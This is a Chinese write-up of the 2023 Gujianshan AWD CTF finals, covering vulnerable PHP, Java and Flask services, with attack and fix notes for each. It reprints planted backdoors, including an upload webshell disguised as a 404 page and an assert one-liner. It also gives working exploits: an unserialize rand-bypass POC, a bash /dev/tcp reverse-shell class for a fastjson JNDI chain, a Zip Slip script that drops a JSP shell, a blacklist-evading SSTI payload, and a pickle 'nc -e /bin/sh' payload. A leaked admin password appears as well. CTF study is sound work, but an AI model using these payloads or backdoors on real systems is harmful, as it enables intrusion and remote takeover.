2023第一届古剑山网络安全大赛决赛-AWD-WEB全解WP
WEB1
PHP站点
预留上传后门
\pages\404.php
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at <?php $_SERVER["HTTP_HOST"] ?> Port 80 </address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<?php
$upload = <<<EOD
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" /><br>
文件名:<input type="text" name="name" value="1.php" /><br>
上传目录:<input type="text" name="dir" value="./" />
<input type="submit" name="submit" value="upload" />
</form>
EOD;
$filename = @$_POST['name'];
$dir =@$_POST['dir'];
if(@$_GET['pass'] == 123){
echo '当前目录: '. __FILE__ .'<br>';
echo $upload;
if(isset($filename)){
@move_uploaded_file($_FILES['file']['tmp_name'],$dir.'/upload/'.$filename);
echo "upload successed !";
}
}
?>
attack
fix
最简单的就是删除上传文件接口,不过这就不是修复了,修复的方法也来一个
白名单了,只能上传图片,这就修好了
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at <?php $_SERVER["HTTP_HOST"] ?> Port 80 </address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<?php
$upload = <<<EOD
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" /><br>
文件名:<input type="text" name="name" value="1.php" /><br>
上传目录:<input type="text" name="dir" value="./" />
<input type="submit" name="submit" value="upload" />
</form>
EOD;
$filename = @$_POST['name'];
$dir =@$_POST['dir'];
if(@$_GET['pass'] == 123){
echo '当前目录: '. __FILE__ .'<br>';
echo $upload;
$result = preg_match("/\.(png|jpg|gif)$/i", $filename);
echo $result;
if(isset($filename)){
if($result==1){
@move_uploaded_file($_FILES['file']['tmp_name'],$dir.'/upload/'.$filename);
echo "upload successed !";
}
else{
echo "只能上传图片";
}
}
}
?>
预留拼接一句话木马
\pages\user_manage\manager.php
$execc='assert';
$execc(${$_SERVER["HTTP_CLIENT_IP"]}[1]);
attack
Client-IP:_POST
POST传参1命令执行即可
fix
直接把[1]改成其他的就行,别人不知道就没办法执行
$execc='assert';
$execc(${$_SERVER["HTTP_CLIENT_IP"]}[2]);
任意文件包含
pages\iteminfo\doinserin.php
<?php
session_start();
require_once '../login/loginconinfo.php';
include('../functions.php');
if ($conn->connect_error) die($conn->connect_error);
if (isset($_GET['action']) && $_GET['action'] == delete) {
$usr_id = $_GET['usr_id'];
$iterm_id = get('iterm_id');
$deletesql = "delete from user_in where iterm_id='$iterm_id';";
$deleteres = $conn->query($deletesql);
@include($usr_id);
echo 111;
if (!$deleteres) {
echo "<script>
alert('删除失败,请重试');
window.location.href='show_in.php';
</script>";
die($conn->error);
} else {
echo "<script>
alert('删除成功,即将返回');
window.location.href='show_in.php';
</script>";
}
}
attack
/pages/iteminfo/doinserin.php?action=delete&usr_id=file://d:/flag.txt
当然对于此次比赛本地文件包含是没有用的,远程文件包含直接访问flag机器请求flag。比赛时机器配置应该是allow_url_include=On,也就是开启了远程文件包含
fix
删除包含即可
@include($usr_id);
截至到这,D盾扫出来的三个均的确存在漏洞并且可以直接利用,剩下的就需要人工审计来得到,最先发现的是session反序列化漏洞
session反序列化漏洞
\pages\iteminfo\insertout.php
class Test{
public $token;
public $ticket;
public $test;
function __destruct(){
$this->token = rand(5345,65535);
if($this->token === $this->ticket) {
system($this->test);
}
}
}
发现了漏洞点,需要去找入口
pages\login\register.php,在这地方找到入口
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
attack
rand绕过用变量指针引用即可绕过,poc如下
<?php
class Test{
public $token;
public $ticket;
public $test;
function __destruct(){
$this->token = rand(5345,65535);
if($this->token === $this->ticket) {
system($this->test);
}
}
}
$b = new Test();
$b->ticket = &$b->token;
$b->test = 'curl http://192.168.44.130/';
echo serialize($b);
由于session选择的是php_serialize,所以在传参的时候需要加个|
/pages\login\register.php?a=O:4:"Test":3:{s:5:"token";N;s:6:"ticket";R:2;s:4:"test";s:34:"curl http://http://192.168.44.130/";}
fix
system删了即可
if($this->token === $this->ticket) {
echo($this->test);
}
SQL注入
\pages\functions.php
这个的话我还没找到如何绕过addslashes,不过之前读过文章有说addslashes是有绕过方法的,所以当时比赛的时候也是自己又加了一层过滤防止被打
<?php
function post($string){
$string = $_POST[$string];
$string = addslashes(htmlspecialchars($string));
return $string;
}
function get($string){
$string = $_GET[$string];
$string = addslashes(htmlspecialchars($string));
return $string;
}
?>
attack
暂未找到
fix
<?php
function sql($str){
return !preg_match("/ \~|\`|regex|copy|read|file|create|grand|dir|insert|link|into|from|where|join|sleexml|extractvalue|server|drop|\@|\#|\\$|\%|\^|\&|\*|\)|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\ /i",$str);
}
function post($string){
$string = sql($_POST[$string]);
$string = addslashes(htmlspecialchars($string));
return $string;
}
function get($string){
$string = sql($_GET[$string]);
$string = addslashes(htmlspecialchars($string));
return $string;
}
?>
WEB2
JAVA站
预留后门
ezupload\src\main\java\com\example\ezupload\controller\gogo.java
package com.example.ezupload.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
@Controller
public class gogo {
@GetMapping("/md01m")
@ResponseBody
public String md01m1(@RequestParam String v1da) throws IOException {
StringBuilder result = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(v1da);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}
} catch (IOException e) {
e.printStackTrace();
result.append("Error executing the command: ").append(e.getMessage());
}
return result.toString();
}
}
attack
预留后门
Process process = Runtime.getRuntime().exec(v1da);
直接命令执行
shiro未授权访问 Shiro < 1.7.0均存在,题目存在未授权访问
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.0</version>
</dependency>
fastjson的1.2.24版本存在反序列化漏洞
http://localhost:8080/;/md01m?v1da=curl http://192.168.44.130/
任意地址请求
attack
index.java
@RequestMapping("/run")
@ResponseBody
public String HttpUrlConnect(@RequestParam String url) throws IOException {
StringBuilder result = new StringBuilder();
URL url1 = new URL(url);
HttpURLConnection urlConnection = (HttpURLConnection) url1.openConnection();
int responseCode = urlConnection.getResponseCode();
if(responseCode == HttpURLConnection.HTTP_OK){
BufferedReader inputStreamReader = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
String var1;
while((var1 = inputStreamReader.readLine()) != null){
result.append(var1);
}
}
return result.toString();
}
http://localhost:8080/run?url=http://192.168.44.130/
fastjson反序列化漏洞
适用于1.2.24-1.2.68
此题目版本为1.2.47
attack
漏洞点如下
过滤了常用的俩个链子JdbcRowSetImpl和TemplatesImpl,还可以利用JndiRefForwardingDataSource,垃圾字符填充绕过字符限制
反弹shell的类
import java.lang.Runtime;
import java.lang.Process;
public class re {
static{
try{
String str = "0<&196;exec 196<>/dev/tcp/47.101.170.17/5553; sh <&196 >&196 2>&196";
String[] strs = new String[]{"/bin/bash","-c",str};
Process e = Runtime.getRuntime().exec(strs);
e.waitFor();
}catch (Exception e){
//
}
}
}
javac re.java
java -cp -jar marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp -jar marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/889#re 5553
任意文件上传
@PostMapping("/upload")
@ResponseBody
public String uploadFile(@RequestParam("file") MultipartFile file) {
if (!file.isEmpty()) {
try {
String uploadDir = "/tmp";
File destDir = new File(uploadDir);
if (!destDir.exists()) {
destDir.mkdirs();
}
String originalFileName = file.getOriginalFilename();
String fileExtension = StringUtils.getFilenameExtension(originalFileName);
if (fileExtension != null && (fileExtension.equalsIgnoreCase("zip") || isImageExtension(fileExtension))) {
String newFileName = generateRandomFileName();
File destFile = new File(destDir, newFileName);
file.transferTo(destFile);
//46eacf8115624375be2a7e88c76cab8c
return newFileName;
} else {
return "不允许的文件后缀~";
}
} catch (IOException e) {
e.printStackTrace();
}
}
return "上传失败~";
}
@GetMapping("/unzip")
@ResponseBody
public String unzipFile(@RequestParam String uuid) {
String zipFilePath = "/tmp/" + uuid;
String unzipDir = "/tmp/";
System.out.println(unzipDir);
try {
Unzip.decompressionFile(zipFilePath, unzipDir);
return "解压缩成功!";
} catch (IOException e) {
e.printStackTrace();
return "解压缩失败~";
}
}
attack
upload压缩包【压缩包内容为jsp马】->unzip解压
上传和解压路径在/tmp,上传压缩包本身这个肯定是没办法突破的,想到的点就是在解压的时候进行目录穿越解压,这里利用的就是Zip Slip漏洞
在java中常见有上传压缩包解压等功能点,Zip Slip是一种在压缩包中特制(…/…/…/evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等,后端通常使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字…/跳转到上级目录中,从而导致任意目录的文件替换
开始制作压缩包
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("1.jsp", "../../../usr/local/tomcat/webapps/ROOT/1.jsp", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
直接上传and正常解压
上传后返回c496d4ac05b547be8241274dc8d1b6a0
进行解压
http://127.0.0.1:8080/unzip?uuid=c496d4ac05b547be8241274dc8d1b6a0
成功跨目录上传,上传马即可shell
账密泄露
package com.example.ezupload.controller;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
public class MyRealm extends AuthorizingRealm {
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
return null;
}
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
String username = (String)token.getPrincipal();
if (!"ji1nnmx".equals(username))
throw new UnknownAccountException("账号不存在");
return (AuthenticationInfo)new SimpleAuthenticationInfo(username, "123456", getName());
}
}
attack
可以看出账密为ji1nnmx/123456,但是实际没有admin的功能点
WEB3
python站
import sys,os,re
import base64
import pickle
import hashlib
from cachelib import SimpleCache
from flask import Flask, Blueprint, request, Response, escape ,render_template,render_template_string,session, abort, redirect, url_for, g, flash, render_template, current_app
from flask_login import login_required,LoginManager,login_user,logout_user,UserMixin
from urllib.parse import urlsplit, urlunsplit, unquote
#from werkzeug.contrib.cache import SimpleCache
from urllib import parse
import requests
import urllib
import sqlite3
app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(os.urandom(24)).hexdigest()
cache = SimpleCache()
login_manager = LoginManager()
login_manager.session_protection = 'strong'
login_manager.login_view = "login"
login_manager.init_app(app)
class User(UserMixin):
def is_authenticated(self):
return True
def is_active(self):
return True
def is_anonymous(self):
return False
def get_id(self):
return '1'
@login_manager.user_loader
def load_user(user_id):
user = User()
return user
@app.route("/")
def index():
if session.__contains__('user'):
success = 0
return render_template(
"index.html", user=session['user'],success=success)
else:
return redirect(url_for('login'))
@app.route('/user/login/', methods=['POST', 'GET'])
def login():
if request.method == "GET":
return render_template("login.html")
else:
try:
username = request.form['username']
passwd = request.form['passwd']
except:
flash("username and password is required!")
return render_template("login.html", danger=1)
if not check_exist(username):
flash("User Not Register")
return render_template("login.html", danger=1)
elif check_passwd(username, hashlib.md5(passwd.encode('utf-8')).hexdigest()):
session.clear()
user = get_user(username)
u = User()
login_user(u)
session['user'] = user
return redirect(url_for('index'))
else:
flash("Password Error")
return render_template("login.html", danger=1)
@app.route('/user/logout/', methods=['GET'])
def logout():
session.clear()
logout_user()
flash("Logout Success!")
return redirect(url_for("index"))
@app.route('/user/register/', methods=['POST', 'GET'])
def register():
if request.method == "GET":
return render_template("register.html")
username = request.form['username']
mail = request.form['mail']
passwd = request.form['passwd']
passwd = hashlib.md5(passwd.encode('utf-8')).hexdigest()
if not re.match(
r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}$',
mail):
flash("Mail Format Error!")
return render_template("register.html", danger=1)
if check_exist(username) or check_mail(mail):
flash("User or Mail Already Registered")
return render_template("register.html", danger=1)
else:
insert_user(username, passwd, mail)
flash("Register Successful")
return render_template("register.html", success=1)
@app.route('/mail/', methods=['GET'])
def mail():
mail = request.args.get('mail', '')
if not re.match(
r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}$',
mail):
flash("Mail Format Error")
return render_template('mail.html',danger=1)
code = cache.get(mail)
session['code'] = code
return render_template('mail.html', code=code)
@app.route('/mail/update/', methods=['GET', 'POST'])
@login_required
def change_mail():
try:
if session['user'][1] != 'admin':
return "Only admin can change mail"
except:
return redirect(url_for('login'))
if request.method == 'GET':
return render_template("change_mail.html",user=session['user'])
else:
name = session['user'][1]
mail = request.form['mail']
if not re.match(
r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}$',
mail):
template = "Hello {name},Error Format Mail:" + mail
else:
update_mail(name, mail)
session['user'] = get_user(name)
template = "Hello {name},Update Success"
return template.format(name=name)
@login_required
@app.route('/getfile', methods=["POST"])
def getfile():
try:
url = base64.urlsafe_b64decode(request.form.get('url'))
return urllib.request.urlopen(str(url)[2:-1],timeout=2).read()
except:
return "Error"
@app.route('/user/reset/', methods=['POST', 'GET'])
def reset():
if request.method == "GET":
return render_template("reset.html")
try:
username = request.form['username']
except:
flash("username required")
return render_template("reset.html", danger=1)
if not check_exist(username):
flash("User Not Register")
return render_template("reset.html", danger=1)
else:
mail = get_mail(username)
code = hashlib.md5(os.urandom(16)).hexdigest()
cache.set(mail, code, timeout=60)
flash("Check Code in Your Mail! Code is valid in 60s.")
return render_template(
"reset.html", success=1, code=1, username=username)
@app.route("/user/update/", methods=['POST'])
def update():
username = request.form['username']
passwd = request.form['passwd']
code = request.form['code']
if username == 'admin':
flash("Wrong Code!")
return render_template("reset.html", danger=1)
if session['code'] == code and username !='admin':
flash("Update Success!")
update_passwd(username, hashlib.md5(passwd.encode('utf-8')).hexdigest())
return render_template("login.html", success=1)
else:
flash("Wrong Code!")
return render_template("reset.html", danger=1)
@app.route('/test', methods=['GET'])
@login_required
def test():
data = ''
if session.__contains__('user'):
if session['user'][1] == 'admin':
data = read_file()
return data
def read_file():
filename = base64.b64decode('L2ZsYWc=')
f = open(filename, 'r')
return f.read()
def check_exist(username):
cur = get_db().cursor()
user = query_db(
'select * from users where username = ?', [username], one=True)
if user != None:
return True
else:
return False
def check_mail(mail):
cur = get_db().cursor()
user = query_db('select * from users where mail = ?', [mail], one=True)
if user != None:
return True
else:
return False
def check_passwd(username, passwd):
cur = get_db().cursor()
user = query_db(
'select * from users where username = ? and passwd=?',
[username, passwd],
one=True)
if user != None:
return True
else:
return False
@app.route("/comments", methods=["POST"])
@login_required
def comments():
data = request.get_data()
pickledata = base64.b64decode(request.data)
# return str(pickledata)
postObj = pickle.loads(pickledata)
return "comments"
def insert_user(username, passwd, mail):
cur = get_db().cursor()
insert_db("insert into users(username,passwd,mail) values(?,?,?)",
[username, passwd, mail])
def update_passwd(username, passwd):
cur = get_db().cursor()
insert_db("update users set passwd=? where username=?", [passwd, username])
def update_mail(username, mail):
cur = get_db().cursor()
insert_db("update users set mail=? where username=?", [mail, username])
def get_mail(username):
cur = get_db().cursor()
mail = query_db(
'select mail from users where username = ?', [username], one=True)
return mail[0]
def get_user(username):
cur = get_db().cursor()
user = query_db(
'select id,username,mail from users where username = ?', [username],
one=True)
return user
@app.errorhandler(404)
def page_not_found(e):
template = '''
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
''' % (urllib.parse.unquote(request.url))
if safe_jinja(request.url):
return render_template_string(template), 404
else:
return render_template("404.html"), 404
def safe_jinja(s):
blacklist=['import','os','class','subclasses','mro','request','args','eval','if','for','subprocess','file','open','popen','builtins','compile','execfile','getattr','from_pyfile','tornado','app','als(','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__','exec','get_flashed_messages']
# blacklist=['get_flashed_messages']
flag = True
for i in blacklist:
if i.lower() in s.lower():
return False
return flag
DATABASE = './database.db'
def init_db():
with app.app_context():
db = get_db()
with app.open_resource('schema.sql', mode='r') as f:
db.cursor().executescript(f.read())
db.commit()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
def query_db(query, args=(), one=False):
cur = get_db().execute(query, args)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
def insert_db(query, args=()):
cur = get_db().execute(query, args)
get_db().commit()
if __name__ == "__main__":
init_db()
app.run(host="0.0.0.0", debug=False, port=5000)
管理员密码泄露+读取本地flag
database.db
SQLite format 3
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
id integer primary key autoincrement,
username string not null,
passwd string not null,
mail string
M!admin e861c366e273d5f5704ee304a58a4887 111@qq.com
users
admin/861c366e273d5f5704ee304a58a4887
attack
管理员弱口令密码,md5能直接解出来,不过比赛没网,除非之前积累了爆破能爆出来,这个看缘分
密码是qwer123df【e861c366e273d5f5704ee304a58a4887】
同时审计还会发现有个漏洞对于这题来说是没用的,有个读取/flag的路由功能
@app.route('/test', methods=['GET'])
@login_required
def test():
data = ''
if session.__contains__('user'):
if session['user'][1] == 'admin':
data = read_file()
return data
def read_file():
filename = base64.b64decode('L2ZsYWc=')
f = open(filename, 'r')
return f.read()
fix
死题,不用管
SSTI
attack
漏洞点在这
@app.errorhandler(404)
def page_not_found(e):
template = '''
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
''' % (urllib.parse.unquote(request.url))
if safe_jinja(request.url):
return render_template_string(template), 404
else:
return render_template("404.html"), 404
404之后渲染变量进行模板注入
通过看源码发现存在黑名单,过滤了部分函数
def safe_jinja(s):
blacklist=['import','os','class','subclasses','mro','request','args','eval','if','for','subprocess','file','open','popen','builtins','compile','execfile','getattr','from_pyfile','tornado','app','als(','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__','exec','get_flashed_messages']
# blacklist=['get_flashed_messages']
flag = True
for i in blacklist:
if i.lower() in s.lower():
return False
return flag
数组绕过->命令执行
http://192.168.222.100:5000/{%set fu='so'[::-1]%}{{lipsum.__globals__['__b''uiltins__']['__i''mport__'](fu)['po''pen']('curl http://192.168.44.130/').read()}}
fix
加过滤即可修复该漏洞,再过滤个:就行
def safe_jinja(s):
blacklist=[':',import','os','class','subclasses','mro','request','args','eval','if','for','subprocess','file','open','popen','builtins','compile','execfile','getattr','from_pyfile','tornado','app','als(','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__','exec','get_flashed_messages']
# blacklist=['get_flashed_messages']
flag = True
for i in blacklist:
if i.lower() in s.lower():
return False
return flag
SSTI自动化工具
可以解决市面上大部分的SSTI题目的绕过,非常好用,极力推荐
fenjing-ssti工具,常用用法如下
- crack: 对某个特定的表单进行攻击
- 需要指定表单的url, action(GET或POST)以及所有字段(比如'name')
- 攻击成功后也会提供一个模拟终端或执行给定的命令
- 示例:`python -m fenjing crack --url 'http://xxx/' --method GET --inputs name`
- crack-path: 对某个特定的路径进行攻击
- 攻击某个路径(如`http://xxx.xxx/hello/<payload>`)存在的漏洞
- 参数大致上和crack相同,但是只需要提供对应的路径
- 示例:`python -m fenjing crack-path --url 'http://xxx/hello/'`
任意地址访问
attack
漏洞点在这
@login_required
@app.route('/getfile', methods=["POST"])
def getfile():
try:
url = base64.urlsafe_b64decode(request.form.get('url'))
return urllib.request.urlopen(str(url)[2:-1],timeout=2).read()
except:
return "Error"
任意地址访问
fix
这个的话写个过滤不能访问flag的地址就行
pickle反序列化
@app.route("/comments", methods=["POST"])
@login_required
def comments():
data = request.get_data()
pickledata = base64.b64decode(request.data)
# return str(pickledata)
postObj = pickle.loads(pickledata)
return "comments"
attack
毫无过滤,直接反弹shell即可
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return os.popen, ("nc 127.0.0.1 889 -e /bin/sh",)
print(base64.b64encode(pickle.dumps(RCE())))
fix
删除pickle